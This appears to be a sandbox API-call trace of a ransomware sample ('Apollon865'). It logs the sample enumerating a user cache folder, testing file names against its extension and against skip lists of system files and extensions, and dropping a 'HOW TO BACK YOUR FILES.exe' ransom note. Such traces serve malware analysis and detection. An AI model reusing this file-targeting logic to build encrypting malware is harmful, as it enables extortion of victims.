	[0044.146] lstrcmpiW (lpString1="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpString2=".ini") returned 1
	[0044.146] lstrlenW (lpString=".sys") returned 4
	[0044.146] lstrcmpiW (lpString1="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpString2=".sys") returned 1
	[0044.146] lstrlenW (lpString="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned 65
	[0044.146] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001" | out: lpString1="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001"
	[0044.146] lstrlenW (lpString="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned 65
	[0044.146] lstrlenW (lpString="Apollon865") returned 10
	[0044.146] lstrcmpiW (lpString1="6E4002D001", lpString2="Apollon865") returned -1
	[0044.146] lstrlenW (lpString=".dll") returned 4
	[0044.146] lstrcmpiW (lpString1="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpString2=".dll") returned 1
	[0044.146] lstrlenW (lpString=".lnk") returned 4
	[0044.146] lstrcmpiW (lpString1="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpString2=".lnk") returned 1
	[0044.146] lstrlenW (lpString=".ini") returned 4
	[0044.146] lstrcmpiW (lpString1="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpString2=".ini") returned 1
	[0044.146] lstrlenW (lpString=".sys") returned 4
	[0044.146] lstrcmpiW (lpString1="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpString2=".sys") returned 1
	[0044.146] lstrlenW (lpString="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned 65
	[0044.146] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" | out: lpString1="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852"
	[0044.146] lstrlenW (lpString="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned 65
	[0044.146] lstrlenW (lpString="Apollon865") returned 10
	[0044.146] lstrcmpiW (lpString1="2610275852", lpString2="Apollon865") returned -1
	[0044.146] lstrlenW (lpString=".dll") returned 4
	[0044.146] lstrcmpiW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpString2=".dll") returned 1
	[0044.146] lstrlenW (lpString=".lnk") returned 4
	[0044.146] lstrcmpiW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpString2=".lnk") returned 1
	[0044.146] lstrlenW (lpString=".ini") returned 4
	[0044.146] lstrcmpiW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpString2=".ini") returned 1
	[0044.147] lstrlenW (lpString=".sys") returned 4
	[0044.147] lstrcmpiW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpString2=".sys") returned 1
	[0044.147] lstrlenW (lpString="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned 65
	[0044.147] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8" | out: lpString1="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8"
	[0044.147] lstrlenW (lpString="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned 65
	[0044.147] lstrlenW (lpString="Apollon865") returned 10
	[0044.147] lstrcmpiW (lpString1="8CE82C3EB8", lpString2="Apollon865") returned -1
	[0044.147] lstrlenW (lpString=".dll") returned 4
	[0044.147] lstrcmpiW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpString2=".dll") returned 1
	[0044.147] lstrlenW (lpString=".lnk") returned 4
	[0044.147] lstrcmpiW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpString2=".lnk") returned 1
	[0044.147] lstrlenW (lpString=".ini") returned 4
	[0044.147] lstrcmpiW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpString2=".ini") returned 1
	[0044.147] lstrlenW (lpString=".sys") returned 4
	[0044.147] lstrcmpiW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpString2=".sys") returned 1
	[0044.147] lstrlenW (lpString="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned 65
	[0044.147] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150" | out: lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150"
	[0044.147] lstrlenW (lpString="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned 65
	[0044.147] lstrlenW (lpString="Apollon865") returned 10
	[0044.147] lstrcmpiW (lpString1="D58E12F150", lpString2="Apollon865") returned 1
	[0044.147] lstrlenW (lpString=".dll") returned 4
	[0044.147] lstrcmpiW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpString2=".dll") returned 1
	[0044.147] lstrlenW (lpString=".lnk") returned 4
	[0044.147] lstrcmpiW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpString2=".lnk") returned 1
	[0044.147] lstrlenW (lpString=".ini") returned 4
	[0044.147] lstrcmpiW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpString2=".ini") returned 1
	[0044.147] lstrlenW (lpString=".sys") returned 4
	[0044.147] lstrcmpiW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpString2=".sys") returned 1
	[0044.147] lstrlenW (lpString="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned 65
	[0044.147] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" | out: lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC"
	[0044.147] lstrlenW (lpString="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned 65
	[0044.147] lstrlenW (lpString="Apollon865") returned 10
	[0044.148] lstrcmpiW (lpString1="F8FCD349FC", lpString2="Apollon865") returned 1
	[0044.148] lstrlenW (lpString=".dll") returned 4
	[0044.148] lstrcmpiW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpString2=".dll") returned 1
	[0044.148] lstrlenW (lpString=".lnk") returned 4
	[0044.148] lstrcmpiW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpString2=".lnk") returned 1
	[0044.148] lstrlenW (lpString=".ini") returned 4
	[0044.148] lstrcmpiW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpString2=".ini") returned 1
	[0044.148] lstrlenW (lpString=".sys") returned 4
	[0044.148] lstrcmpiW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpString2=".sys") returned 1
	[0044.148] lstrlenW (lpString="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned 65
	[0044.148] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873" | out: lpString1="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873"
	[0044.148] lstrlenW (lpString="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned 65
	[0044.148] lstrlenW (lpString="Apollon865") returned 10
	[0044.148] lstrcmpiW (lpString1="6B63561873", lpString2="Apollon865") returned -1
	[0044.148] lstrlenW (lpString=".dll") returned 4
	[0044.148] lstrcmpiW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpString2=".dll") returned 1
	[0044.148] lstrlenW (lpString=".lnk") returned 4
	[0044.148] lstrcmpiW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpString2=".lnk") returned 1
	[0044.148] lstrlenW (lpString=".ini") returned 4
	[0044.148] lstrcmpiW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpString2=".ini") returned 1
	[0044.148] lstrlenW (lpString=".sys") returned 4
	[0044.148] lstrcmpiW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpString2=".sys") returned 1
	[0044.148] lstrlenW (lpString="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned 65
	[0044.148] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" | out: lpString1="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE"
	[0044.148] lstrlenW (lpString="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned 65
	[0044.148] lstrlenW (lpString="Apollon865") returned 10
	[0044.148] lstrcmpiW (lpString1="C16D16B7CE", lpString2="Apollon865") returned 1
	[0044.148] lstrlenW (lpString=".dll") returned 4
	[0044.148] lstrcmpiW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpString2=".dll") returned 1
	[0044.148] lstrlenW (lpString=".lnk") returned 4
	[0044.148] lstrcmpiW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpString2=".lnk") returned 1
	[0044.148] lstrlenW (lpString=".ini") returned 4
	[0044.164] lstrcmpiW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpString2=".ini") returned 1
	[0044.164] lstrlenW (lpString=".sys") returned 4
	[0044.164] lstrcmpiW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpString2=".sys") returned 1
	[0044.164] lstrlenW (lpString="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned 65
	[0044.164] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF" | out: lpString1="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF"
	[0044.164] lstrlenW (lpString="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned 65
	[0044.164] lstrlenW (lpString="Apollon865") returned 10
	[0044.164] lstrcmpiW (lpString1="2451D392CF", lpString2="Apollon865") returned -1
	[0044.164] lstrlenW (lpString=".dll") returned 4
	[0044.164] lstrcmpiW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpString2=".dll") returned 1
	[0044.165] lstrlenW (lpString=".lnk") returned 4
	[0044.165] lstrcmpiW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpString2=".lnk") returned 1
	[0044.165] lstrlenW (lpString=".ini") returned 4
	[0044.165] lstrcmpiW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpString2=".ini") returned 1
	[0044.165] lstrlenW (lpString=".sys") returned 4
	[0044.165] lstrcmpiW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpString2=".sys") returned 1
	[0044.166] lstrlenW (lpString="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned 65
	[0044.166] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC" | out: lpString1="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC"
	[0044.166] lstrlenW (lpString="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned 65
	[0044.166] lstrlenW (lpString="Apollon865") returned 10
	[0044.166] lstrcmpiW (lpString1="F4C7D6E9CC", lpString2="Apollon865") returned 1
	[0044.166] lstrlenW (lpString=".dll") returned 4
	[0044.166] lstrcmpiW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpString2=".dll") returned 1
	[0044.166] lstrlenW (lpString=".lnk") returned 4
	[0044.166] lstrcmpiW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpString2=".lnk") returned 1
	[0044.166] lstrlenW (lpString=".ini") returned 4
	[0044.166] lstrcmpiW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpString2=".ini") returned 1
	[0044.166] lstrlenW (lpString=".sys") returned 4
	[0044.166] lstrcmpiW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpString2=".sys") returned 1
	[0044.166] lstrlenW (lpString="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned 65
	[0044.166] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" | out: lpString1="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE"
	[0044.166] lstrlenW (lpString="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned 65
	[0044.166] lstrlenW (lpString="Apollon865") returned 10
	[0044.166] lstrcmpiW (lpString1="48E9FE86DE", lpString2="Apollon865") returned -1
	[0044.166] lstrlenW (lpString=".dll") returned 4
	[0044.166] lstrcmpiW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpString2=".dll") returned 1
	[0044.166] lstrlenW (lpString=".lnk") returned 4
	[0044.166] lstrcmpiW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpString2=".lnk") returned 1
	[0044.166] lstrlenW (lpString=".ini") returned 4
	[0044.166] lstrcmpiW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpString2=".ini") returned 1
	[0044.166] lstrlenW (lpString=".sys") returned 4
	[0044.166] lstrcmpiW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpString2=".sys") returned 1
	[0044.166] lstrlenW (lpString="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned 65
	[0044.166] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C" | out: lpString1="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C"
	[0044.166] lstrlenW (lpString="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned 65
	[0044.166] lstrlenW (lpString="Apollon865") returned 10
	[0044.167] lstrcmpiW (lpString1="5F24B14C2C", lpString2="Apollon865") returned -1
	[0044.167] lstrlenW (lpString=".dll") returned 4
	[0044.167] lstrcmpiW (lpString1="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpString2=".dll") returned 1
	[0044.167] lstrlenW (lpString=".lnk") returned 4
	[0044.167] lstrcmpiW (lpString1="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpString2=".lnk") returned 1
	[0044.167] lstrlenW (lpString=".ini") returned 4
	[0044.167] lstrcmpiW (lpString1="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpString2=".ini") returned 1
	[0044.167] lstrlenW (lpString=".sys") returned 4
	[0044.167] lstrcmpiW (lpString1="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpString2=".sys") returned 1
	[0044.167] lstrlenW (lpString="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned 65
	[0044.167] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" | out: lpString1="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585"
	[0044.167] lstrlenW (lpString="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned 65
	[0044.167] lstrlenW (lpString="Apollon865") returned 10
	[0044.167] lstrcmpiW (lpString1="37D0838585", lpString2="Apollon865") returned -1
	[0044.167] lstrlenW (lpString=".dll") returned 4
	[0044.167] lstrcmpiW (lpString1="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpString2=".dll") returned 1
	[0044.167] lstrlenW (lpString=".lnk") returned 4
	[0044.167] lstrcmpiW (lpString1="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpString2=".lnk") returned 1
	[0044.167] lstrlenW (lpString=".ini") returned 4
	[0044.167] lstrcmpiW (lpString1="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpString2=".ini") returned 1
	[0044.167] lstrlenW (lpString=".sys") returned 4
	[0044.167] lstrcmpiW (lpString1="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpString2=".sys") returned 1
	[0044.167] lstrlenW (lpString="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned 65
	[0044.167] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1" | out: lpString1="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1"
	[0044.167] lstrlenW (lpString="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned 65
	[0044.167] lstrlenW (lpString="Apollon865") returned 10
	[0044.167] lstrcmpiW (lpString1="D0C000C9C1", lpString2="Apollon865") returned 1
	[0044.167] lstrlenW (lpString=".dll") returned 4
	[0044.167] lstrcmpiW (lpString1="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpString2=".dll") returned 1
	[0044.167] lstrlenW (lpString=".lnk") returned 4
	[0044.167] lstrcmpiW (lpString1="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpString2=".lnk") returned 1
	[0044.167] lstrlenW (lpString=".ini") returned 4
	[0044.167] lstrcmpiW (lpString1="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpString2=".ini") returned 1
	[0044.168] lstrlenW (lpString=".sys") returned 4
	[0044.168] lstrcmpiW (lpString1="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpString2=".sys") returned 1
	[0044.168] lstrlenW (lpString="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned 65
	[0044.168] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="F90F18257CBB4D84216AC1E1F3BB2C76" | out: lpString1="F90F18257CBB4D84216AC1E1F3BB2C76") returned="F90F18257CBB4D84216AC1E1F3BB2C76"
	[0044.168] lstrlenW (lpString="F90F18257CBB4D84216AC1E1F3BB2C76") returned 32
	[0044.168] lstrlenW (lpString="Apollon865") returned 10
	[0044.168] lstrcmpiW (lpString1="E1F3BB2C76", lpString2="Apollon865") returned 1
	[0044.168] lstrlenW (lpString=".dll") returned 4
	[0044.168] lstrcmpiW (lpString1="F90F18257CBB4D84216AC1E1F3BB2C76", lpString2=".dll") returned 1
	[0044.168] lstrlenW (lpString=".lnk") returned 4
	[0044.168] lstrcmpiW (lpString1="F90F18257CBB4D84216AC1E1F3BB2C76", lpString2=".lnk") returned 1
	[0044.168] lstrlenW (lpString=".ini") returned 4
	[0044.168] lstrcmpiW (lpString1="F90F18257CBB4D84216AC1E1F3BB2C76", lpString2=".ini") returned 1
	[0044.168] lstrlenW (lpString=".sys") returned 4
	[0044.168] lstrcmpiW (lpString1="F90F18257CBB4D84216AC1E1F3BB2C76", lpString2=".sys") returned 1
	[0044.168] lstrlenW (lpString="F90F18257CBB4D84216AC1E1F3BB2C76") returned 32
	[0044.168] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content"
	[0044.168] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0044.168] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0044.168] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned 81
	[0044.168] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content"
	[0044.168] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.168] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.173] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.173] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3266c890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3266c890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0044.173] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.173] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.173] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.173] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3266c890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3266c890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.173] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.174] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.174] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.174] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.174] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="Apollon865.txt.exe") returned -1
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2=".") returned 1
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="..") returned 1
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="windows") returned -1
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="bootmgr") returned -1
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="temp") returned -1
	[0044.174] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="pagefile.sys") returned -1
